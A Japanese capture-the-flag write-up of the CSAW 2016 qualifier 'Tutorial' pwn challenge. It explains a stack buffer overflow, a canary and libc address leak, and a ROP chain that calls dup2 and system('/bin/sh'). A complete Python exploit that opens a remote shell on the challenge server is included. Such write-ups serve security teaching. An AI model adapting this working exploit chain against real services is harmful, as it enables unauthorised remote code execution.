csaw ctf 2016 qualsのTutorialのwriteup
Tutorial (pwn 200)
検分
strippedでないx86_64バイナリ。libcももらえる。
NXあり、カナリーあり、PIEなし。
挙動は大雑把に、
void priv(){ /* ルートディレクトリを/home/tutorialにしたり、 tutorialのuid,gidに変更したりする。 */ } func1(int fd){ void* p = dlsym(-1,"puts"); //[rbp-0x48] write(fd,"rifarense"); sprintf(rbp-0x40,"%p\n",p); write(fd,rbp-0x40,len=15); } func2(int fd){ bzero(rbp-0x140,0x12c); write(fd,"timetotext .. " ">"); read(fd,rbp-0x140,len=0x1cc); write(fd,rbp-0x140,len=0x144); } int main(){ priv(); /* あのportをbindしてforkして listenするたぐいのやつ。argv[0]がポート番号になる。 */ for(;;){ /* 入力によって、func1かfunc2が実行できる */ } }
みたいな感じでした。
func2のread(fd,rbp-0x140,len=0x1cc);が明らかにバッファオーバーフロー。いちおうカナリーはあるのだけれど、write(fd,rbp-0x140,len=0x144);があるので、一回目は短い入力でカナリーを得る->二回目に上書き、でよい。(なぜなら、カナリーはプロセスで共通、かつwriteはヌル文字関係なく吐き出してくれる)
さて、上書きできるのだが、スタックが実行不能である。また、rbpの下4byteしかwriteで吐き出されないのでスタックの位置が不明(まあこれでも推測 or 全探索可能なのかもしれないが)。また、x86_64なので関数呼び出し時に引数をレジスタに入れてやらないといけない。よって、ROPを用いたexploitを書くことになる(はじめてのROP!!)。
ここで、有難いことにfunc1でputs-0x500のアドレスが得られるのでlibcのbaseアドレスが得られる。ので、libcの無限にあるropガジェットが使い放題になるのでこれを用いてexploitを書く。
実際にexploitを作る
まず、そもそもtutorialという名前のユーザーがいないとバイナリが動かないので、katagaitai CTF勉強会 #5 pwnables編 - PlaidCTF 2015 Pwnable620 tpを参考にしつつユーザーを作る。あとはsudo権限つけてgdbで実行してやると動いた(ただ、なんかプログラムを終了させてもポートが埋まったままだったりしていた...)。
exploitコードには例のごとくpythonを用いる。カナリーとputs-0x500を得るところまではわりと淡々と書ける。
ROPガジェットを調べるために、rp++をx64でスタックバッファオーバーフローをやってみる - ももいろテクノロジーを参考にしつつ入れる。同ページを参考にしつつ、systemとかputsとかwriteとかの位置を 『 nm -D 』を用いて、"/bin/sh" の位置を 『 strings -tx 』を用いて調べる。また、rp++でpop rdi,pop rsi,pop rdxの位置を調べておく。(今回、手元のlibcと与えられたlibcをごっちゃにして位置を調べてて、位置の差分が合わねえとか言って時間を無限に溶かしてしまったので以降気をつけたい。手元のlibcは ldd tutorial とかで調べられるとのこと。)
材料が集まったらまずはwrite(fd,"/bin/sh",7); が手元とリモートで動くかどうかを確かめた。fdは直前にwriteを呼んでいたのでrdiに入りっぱなしであって推測してやる必要がなかった(多分4あたりだろうけれど)。わりとすんなり動いたはず。
次にsystem("/bin/sh"); を呼び出すコードを書く。ただし標準入出力は手の届かないとこにあるのでdup2を用いてfdにつないでやる。具体的には dup2(fd,0); dup2(fd,1); system("/bin/sh"); としてやればうまくいった。これも一発で動いて気持ちよかった。
ソースコード
#coding: utf-8 from socket import * import time isgaibu = False isgaibu = True p = socket(AF_INET, SOCK_STREAM) if isgaibu: p.connect(("pwn.chal.csaw.io", 8002)) raw_input('gdb$') else: p.connect(("localhost", 8006)) #8006 const. time.sleep(1) raw_input('gdb$') def getunt(c): res = "" while res=='' or res[-len(c):]!=c: #print res[-len(c):], res += p.recv(1) print res return res def addr2s(x): res = "" for i in xrange(8): res += chr(x % 256) x /= 256 return res def s2hex(s): return map(lambda c: hex(ord(c)),s) def s2addr(s): res = 0 for i in xrange(8): res *= 256 res += ord(s[7-i]) return res def shell(): while True: p.send(raw_input() + '\n') print p.recv(1024) def getlibbase(): #print p.recv(1024) getunt('\n>') p.send('1') time.sleep(0.5) s = getunt('-Tuto') res = s.split()[0].split(':')[1][2:] #print res res = int(res,16) return res def getcanary(): getunt('\n>') p.send('2') getunt('\n>') p.send('xx') s = getunt('-Tuto') print 's..',s s = s[:-5] print hex(len(s)) print map(ord,s) return s[-12:-4] canary = getcanary() puts_ptr = getlibbase() + 0x500 ''' 手元 puts 0000000000070a30 system 00000000000443d0 rdi 0x000218a2: pop rdi ; ret ; (521 found) rsi 0x000232f5: pop rsi ; ret ; (158 found) rdx 0x00001b92: pop rdx ; ret ; (5 found) rcx 0x000ea8ea: pop rcx ; pop rbx ; ret ; (1 found) ''' if isgaibu: dup2_diff = 0x0ebe90 puts_diff = 0x000000000006fd60 system_diff = 0x0000000000046590 write_diff = 0xeb700 rdi_diff = 0x00022b9a rsi_diff = 0x00024885 rdx_diff = 0x00001b8e binsh_diff = 0x17c8c3 else: dup2_diff = 0x0f7b90 puts_diff = 0x0000000000070a30 system_diff = 0x00000000000443d0 write_diff = 0xf74d0 rdi_diff = 0x000218a2 rsi_diff = 0x000232f5 rdx_diff = 0x00001b92 binsh_diff = 0x18c3dd libc_base = puts_ptr - puts_diff pop_rdi_ptr = rdi_diff + libc_base pop_rsi_ptr = rsi_diff + libc_base pop_rdx_ptr = rdx_diff + libc_base binsh_ptr = binsh_diff + libc_base write_ptr = write_diff + libc_base dup2_ptr = dup2_diff + libc_base system_ptr = system_diff + libc_base #exit(-1) def sendshec(s): p.send('2') print p.recv(1024) p.send('x' * 0x138 + canary + s) print p.recv(1024) #sendshec('hogehasefg') #dup2(4,1); とかのあとにsystemですかねー? #fd は4あたりかな-. ebp_fake = 0xffffe3b0 sc = "" ''' sc += addr2s(ebp_fake) sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。 sc += addr2s(binsh_ptr) sc += addr2s(pop_rdx_ptr) sc += addr2s(7) sc += addr2s(write_ptr) ''' sc += addr2s(ebp_fake) sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。 sc += addr2s(0) sc += addr2s(dup2_ptr) sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。 sc += addr2s(1) sc += addr2s(dup2_ptr) sc += addr2s(pop_rdi_ptr) sc += addr2s(binsh_ptr) sc += addr2s(system_ptr) sendshec(sc) time.sleep(1) #print p.recv(1024) shell()